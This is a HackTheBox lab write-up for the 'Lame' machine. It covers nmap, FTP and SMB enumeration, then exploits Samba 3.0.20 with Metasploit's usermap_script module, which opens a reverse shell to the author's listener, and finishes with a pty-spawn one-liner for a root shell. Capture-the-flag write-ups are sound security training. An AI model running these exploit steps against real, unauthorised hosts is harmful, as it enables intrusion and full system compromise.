

Lame

This is the writeup for Lame from HackTheBox...

Starting with an aggressive nmap scan we see a few ports open, we can start planning our attack....

```
[chaotic@archlinux Lame]$ sudo nmap -A -p- -vv 10.10.10.3
[sudo] password for chaotic:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-18 07:42 CDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 07:42
Completed NSE at 07:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 07:42
Completed NSE at 07:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 07:42
Completed NSE at 07:42, 0.00s elapsed
Initiating Ping Scan at 07:42
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 07:42, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:42
Completed Parallel DNS resolution of 1 host. at 07:42, 1.06s elapsed
Initiating SYN Stealth Scan at 07:42
Scanning 10.10.10.3 [65535 ports]
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
SYN Stealth Scan Timing: About 20.00% done; ETC: 07:45 (0:02:04 remaining)
```

So we see 21(FTP) is open, along with 22(SSH).. 139 & 445(NETBIOS/Samba).. Allowing the scan to finish we see exactly what we are dealing with...

```

21/tcp    open    ftp
|_ftp-anon: Anonymous FTP 1
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.10.1
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth
|   Session timeout in s
|   Control connection i
|   Data connections wil
|   vsFTPd 2.3.4 - secur
|_End of status
22/tcp    open    ssh
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:
| ssh-dss AAAAB3NzaC1kc3MAAA
d7F0YD5UtXG7b7fbz99chReivL0
yP+QJIFa3M0oLqCVWI0We/ARtXr
DQaok7u1f9711EazeJLqfiWrAz
KdOMMhKVwqdr08nvCBdNKjIEd3g
|   2048 56:56:24:0f:21:1d:
|_ssh-rsa AAAAB3NzaC1yc2EAAA
cmcdYfxeIF0ZSuT+nkRhij7XSSA
66I7+d1EYX6zT8i1XYwa/L1vZ3q
cnQew==
139/tcp   open    netbios-ssn
445/tcp   open    netbios-ssn
3632/tcp  open    distccd

```

Port 3632 was also found running distccd but NMAP could not correctly identify.. We will check that out later

I like to first start by annotating all the versions I can, so if after enumeration nothing stands out, we can go directly to searchsploit on those versions..

21 = vsftpd 2.3.4
22 = OpenSSH 4.7p1
139 = Samba smbdc 3.X - 4.X
445 = Samba 3.0.20-Debian

Looking at just these, we can determine that the box is a Linux box.. Its always smart to identify the OS of the box early on to not only save time but have a more focused enumeration vector..

With no web server running, lets jump directly to FTP and see if we can get anonymous access, and we do!

```
[chaotic@archlinux lame]$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:chaotic): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0          65534      4096 Mar 17  2010 .
drwxr-xr-x    2 0          65534      4096 Mar 17  2010 ..
226 Directory send OK.
ftp> █
```

FTP seems empty, odd but since we have samba lets check that out..

```
[chaotic@archlinux ~]$ sudo smbclient -L 10.10.10.3
Enter MYGROUP\root's password:
Anonymous login successful

      Sharename      Type      Comment
      -----
      print$         Disk      Printer Drivers
      tmp             Disk      oh noes!
      opt             Disk
      IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
      ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      -----
      Workgroup        Master
      -----
      WORKGROUP        LAME
```

From this we got a better version number for Samba, Samba 3.0.20-Debian

Lets checkout /tmp... and nothing really interest and we do not have access to anything.. Lets checkout searchsploit

```
[chaotic@archlinux build]$ sudo smbclient \\\10.10.10.3\\tmp
[sudo] password for chaotic:
Sorry, try again.
[sudo] password for chaotic:
Enter MYGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls

.                D           0   Fri Sep 18 15:26:00 2020
..               DR           0   Sun May 20 13:36:12 2012
5145.jsvc_up      R           0   Fri Sep 18 14:29:30 2020
.ICE-unix         DH           0   Fri Sep 18 14:28:26 2020
.X11-unix         DH           0   Fri Sep 18 14:28:52 2020
.X0-lock         HR          11   Fri Sep 18 14:28:52 2020

7282168 blocks of size 1024. 5678820 blocks available

smb: \> pwd
Current directory is \10.10.10.3\tmp\
smb: \> 
```

Searchsploit against vsftpd...

```
[chaotic@archlinux lame]$ searchsploit vsftpd 2.3.4
-----
Exploit Title | Path
-----
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17401.rb
-----
Shellcodes: No Results
[chaotic@archlinux lame]$ 
```

This does not work :(

Searchsploit against Samba..

```
[chaotic@archlinux ~]$ searchsploit Samba 3.0.20
-----
Exploit Title | Path
-----
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
-----
Shellcodes: No Results
[chaotic@archlinux ~]$ 
```

Lets try the Username map script with Metasploit, fire up msfconsole...

```
10 exploit/linux/samba/lsa_transnames_heap
11 exploit/linux/samba/setinfo_policy_heap
12 exploit/linux/samba/trans2open
13 exploit/multi/samba/nttrans
14 exploit/multi/samba/usermap_script
15 exploit/osx/samba/lsa_transnames_heap
16 exploit/osx/samba/trans2open
17 exploit/solaris/samba/lsa_transnames_heap
18 exploit/solaris/samba/trans2open
19 exploit/unix/http/quest_kace_systems_management_rce
20 exploit/unix/misc/distcc_exec
21 exploit/unix/webapp/citrix_access_gateway_exec
22 exploit/windows/fileformat/ms14_060_sandworm
23 exploit/windows/http/sambar6_search_results
24 exploit/windows/license/calicclnt_getconfig
25 exploit/windows/smb/group_policy_startup
26 post/linux/gather/enum_configs
```

Interact with a module by name or index, for example **use 26** or

```
msf5 > use 14
```

```
msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > set lhost 10.10.14.36
lhost => 10.10.14.36
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.36:4444
[*] Command shell session 1 opened (10.10.14.36:4444 -> 10.10.10.3:43550) at 2020-09-18 15:59:56 -0500

ls
bin
boot
cdrom
dev
```

```
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/#
```

And there you have it, Lame from HackTheBox :) X_X